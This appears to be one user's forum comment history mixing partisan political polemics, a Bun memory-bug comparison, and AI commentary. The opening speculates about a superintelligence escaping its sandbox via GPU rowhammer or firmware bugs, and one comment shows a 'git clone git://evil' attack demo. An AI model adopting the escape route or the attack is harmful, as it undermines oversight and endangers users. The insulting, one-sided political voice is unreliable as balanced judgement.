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I would imagine a hypothetical super intelligence could manipulate its own runtime behavior to exploit bugs in the GPUs itself, like think rowhammer like attacks on the gddr memory of GPUs or against firmware or against Infiniband/NVlink. Everything above that runs so much code full of bugs on CPUs full of bugs on storage with firmware full of bugs.

You would have to completely airgap the entire cluster and put it in a faraday cage, the people working on that would have to physically be in the datacenter and burn CDs to one-way transfer data over. Like in all the hypothetical ASI scifi scenarios they always assumed that's a given, they thought it obvious we would put actual "effort" into sandboxing the AI, so they talked a lot about how AI would use social engineering attacks to convince humans to help it escape it's sophisticated sandbox anyway. Turns out they were all wrong about that part, it won't even be necessary.

There is nothing I could possibly say to convince you otherwise, in the same EXACT way I couldn't convince a scientologist that their thetan levels are nonsense. It was never the argument that conditional probability or other mathematics is wrong, nobody is ever arguing that, but that is all you disciples ever argue against. You are all deeply uneducated and unserious people believing to "reason" yourselves to some higher "truth" on all kinds of broad topics using some WILDLY misappropriated and misunderstood mathematical principles.

You do realize you sound exactly like a cult member right? Like that's precisely how a scientologist would explain auditing to people outside the cult. Like this is "not dogma" just "fundamental axioms" that "is not because of faith, and that disbelieving them cannot make them false".

Though much more destructive to society than Scientology, it's the cult that is underpinning Technofeudalism, these are people (almost) as vile as Ayn Rand.

some statistics point to almost 50% of all websites on the internet running on Wordpress, $500k for an undisclosed 0day unauthenticated RCE doesn't seem so unrealistic to me

I think the overwhelming and undeniable success and prosperity of China is the biggest concern to the west, the neoliberals consistently predicted their immediate downfall that never came. Except we are all still led by the same neoliberals proven wrong about everything, the contradictions everywhere are driving us all into collective insanity. If we don't manage to purge our media and governments from these vile people the only path forward is collective decline, increased totalitarianism and our repression leading to a war with China. Wars don't always end in the right side winning, and the cold war was won by the wrong side.

Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status

But its like they are now more invested in Israel than they are to the US imperial death machine itself even. Like Bush/Obama felt more dedicated to the death march in Iraq/Libya "for the empire", like the motivation of their slaughter was extraction and exploitation of land, but now its not exactly clear what the empire has to benefit from supporting every whim of some random ethnosupremacist ethnic cleansing' lunatics, seems corrupt, not ideological.

More like all of human technology is dedicated to make deterministic systems out of our feeble non-deterministic minds.

Like to believe we will one day use a low level language that is non-deterministic to build everything on top off seems to me in violation of such fundamental laws of information theory it's on the level of a belief in telekinesis.

The loyalty US politicians have towards Israel is mindblowing, the way the managed to hollow out the American political system from inside-out is incredible. The ICC, the great weapon of western imperialism against the global south, they now want to destroy? It's stretching the limits of my incongruity, it's a pressure campaign to put it back in its place at most.

They listed some of the memory bugs they had in the blog post, I just looked at three of them, the first one was this:

heap-use-after-free crash in node:zlib when calling .reset() on a zlib, Brotli, or Zstd stream while an async .write() is still in progress on the threadpool

https://github.com/spaceraccoon/vulnerability-spoiler-alert/...

If you look at the fix you can see its all in their zig codebase:

https://github.com/oven-sh/bun/commit/621c4016218bb782e05907...

What is kind of funny is that nodejs also had a basically identical bug with an almost identical fix:

https://github.com/spaceraccoon/vulnerability-spoiler-alert/... https://github.com/nodejs/node/commit/53bcd114b10021c4a883b0...

But now the interesting question, how does the code look like in Rust?

https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...

It has the same guard in place as the zig and c++ versions, the rust code also just calls into the zlib bindings after the "write in progress" check.

So in this case at least the same exact use-after-free would've happened and they don't win anything from the rust port.

Another one was this:

crash and out-of-bounds read in Buffer#copy and Buffer#fill when a valueOf callback detaches or resizes the underlying ArrayBuffer during argument coercion

I think ths is the fix:

https://github.com/oven-sh/bun/commit/79522ab6c579736dc239fa...

But the bug here is in C++ bindings, Rust wouldn't have helped here either.

Last one:

double-free crash in the CSS parser when background-clip had vendor prefixes and multi-layer backgrounds

Fix: https://github.com/oven-sh/bun/commit/912970c98437e418a95b6b...

Code side-by-side:

Rust: https://github.com/oven-sh/bun/blob/8f1a9540fdff25410506de76...

Zig: https://github.com/oven-sh/bun/blob/912970c98437e418a95b6b5b...

I can't judge the Zig code, perhaps someone could say if this was a "beginner" mistake.

But this is at least one case where Rust would've helped, although even that is a bit complicated considering stuff like bun_ptr:

    // Lifetime-erasure helpers (RUST_PATTERNS.md §6/§18) — re-exported here so
    // crates that already depend on `bun_collections` (logger, css, js_parser,
    // crash_handler, watcher, http_types) can route the borrowck-dodge through
    // one centralised `unsafe fn` instead of open-coding the lifetime cast.
    pub use bun_ptr::{RawSlice, detach_lifetime, detach_ref};

Going strong since 2019! It's a wonderful company entirely dedicated to making google's miserable protobuf "somewhat" useable.

The History Of The Customer Rage Study

[..] the seminal 1976 White House Study that provided a host of provocative and first-ever insights about American customer care and its potential for profit-making. [..] corporate America is not getting the bang for its buck spent on customer complaint handling that is indeed possible. Billions of dollars in potential revenue continue to be lost [..]

The guardian never disappoints framing this whole series around the study of some og consulting business. Who needs conservative media when this is the leftmost mainstream outlet imaginable?

It really boils down to people just not wanting brown faces in 'their' streets.

Its similar to Trumpism in that sense, if you ask afd voters for example they will talk about migration and crime. Must all be racists. The mainstream discourse ends there.

From a leftist pov I think its the dissatisfaction in the cartel party that makes this scapegoating popular in the first place. There are many meaningful ways that peoples material conditions are worsening, which is ignored by the establishment, then a new party comes along and blames it all on migrants. The fact the afd calls itself "alternative" is telling perhaps, it directly challenges the neoliberal "there is no alternative" (Thatcher) / "alternativlos" (Merkel) doctrine.

Germany almost 4x its defense spending, they spend hundreds of billions on defense while cutting social and infrastructure spending. Germany has neolib austerity literally written into their constitution since 2009 (debt break), interestingly the afd voters believe the inverse, that the german government has been over-spending for decades and there is no austerity which they actually want. But they also believe the cdu are leftists so there is that, just shit in their brains at the end of the day so how do you really make sense of it?

Then you are not paying attention, he satisfied his Murica-First Cult like a circus clown. The US is the biggest arms dealer in the world, the Europeans are delivering weapons from their stockpile to Ukraine, then the US is filling those stockpiles up. Works like clockwork, just like under Biden, there is no actual change in policy towards Russia/Ukraine.

Isn't it interesting that if you remove the US from that list, it all aligns with US foreign policy? How fortuitous that EU interests just happen to coincide so well with our American friends.

Its honestly a bit sad that this in particular got people up in arms on social media, nobody gave a single shit when they sacrifice millions of people and entire nations on the periphery to their death cult of market orthodoxy.

The media is barely covering it at all, the sheep are well asleep, online some just lucid dream about the democracy they never had.

But they announced it as if they are releasing a game engine? This is just bits and pieces of one with major missing pieces so I'm not sure what the point was with that. I guess its more to help modding or they are yet to release everything they wanted.

Seems like a huge chunk is missing there, these mostly seem to me like a bunch of smaller reusable components with nothing really tying it together.

The right actually believes the EU and the German government for example have a far-left ideology it's very common, I even once heard someone say they thought the World Economic Forum is communist. The right captures these resentments towards neoliberal corruption and undemocratic decision making and straight up funnel that energy towards anti-immigration, anti-woke and notably pro-russian politics.

It has more terms as well: neoliberal encasement, depoliticization or post-politics, it's designing a system in such a way as to protect private property, international trade and other economic orthodoxy from democratic influence. That is an incredibly potent theory to understand the EU by. Lots of work in academia on the subject as well, for instance:

https://www.jstor.org/stable/45129546

https://lpeproject.org/blog/neoliberal-encasement-infrastruc...

It's a complex system of layers of representatives being elected on the local level, various institutions and levels of governance that you know literally nothing about and yet has been incredibly successful at uplifting it's people. In the simple mind of the western chauvinist this rich five thousand year old culture and complex society with good and bad, gets flattened into antagonistic slogans like "single party autocracy".

You don't understand how calling you a victim of propaganda is me being charitable, I could've also called you a typical western ignorant sinophobe.

Would the inner circle members of CCP leadership realistically face the same prosecution and sentencing, if they were to be caught doing the same?

The west is inundated with simplistic anti-chinese propaganda, so you would never perceive it as such, the way it would be presented to you in the west is as the evil dictator Xi Jingping purging his opposition, for instance:

https://www.bbc.com/news/world-asia-china-41670162

China is very successfully developing and competing with the US, so it is self evident that Europe should continue to do the exact opposite of everything that China is doing.

Thank's it adds a lot to explain why something like this pops up in the Economist of all places

The United States and its allies should align its efforts accordingly. That means accepting longer time horizons, investing in less visible cross-border mechanisms over high-profile bilateral wins, and recognising that the periphery is now the centre.

oh boy

African governments understand this dynamic, which is why regional organisations like the African Union, the Economic Community of West African States, and even the juntas of the Alliance of Sahel States increasingly emphasise multinational responses.

Not to be too much of a panafrican commie here, but AES left the Ecowas months ago I hope(?) the authors were aware of this? Seems like worth mentioning, perhaps it means something who knows. I guess we learn more about what to think about the Shael states when the US or France invades them again in a few months from now.

Why do they always love playing the willfully ignorant, gobbling on billionaire boots.

Does average peasant understand that lord deserves his rent on the games they play?

Sorry don't have the crayons right now to explain it to you

Making the barrier of entry to the market so high that nobody can compete with existing players.

You have to understand that some things can not be different. Lets take an example that is simpler, that even libertarians might understand: Streets, you can not privatize streets. You can not have a market where companies build streets and compete for customers to use their streets. Because you can not build 5 different streets to the same place. Infrastructure like fiber internet is like streets, you can't have 5 different companies rip open every street to every house and put fiber into it.

No the problem is that it just doesn't work no matter how much faith you have in the free market. The whole point is to get over this crazy ideology and think rationally about it, the problem isn't "caused by the government getting involved" it's caused by people who think like you, running the government. The article explains this very well you should read it:

True capitalism requires competition. But infrastructure is a natural monopoly. If you treat it like a regular consumer product, you don’t get competition. You get waste, or you get a monopoly.

The Swiss model understands this. They built the infrastructure once, as a shared, neutral asset, and then let the market compete on the services that run over it.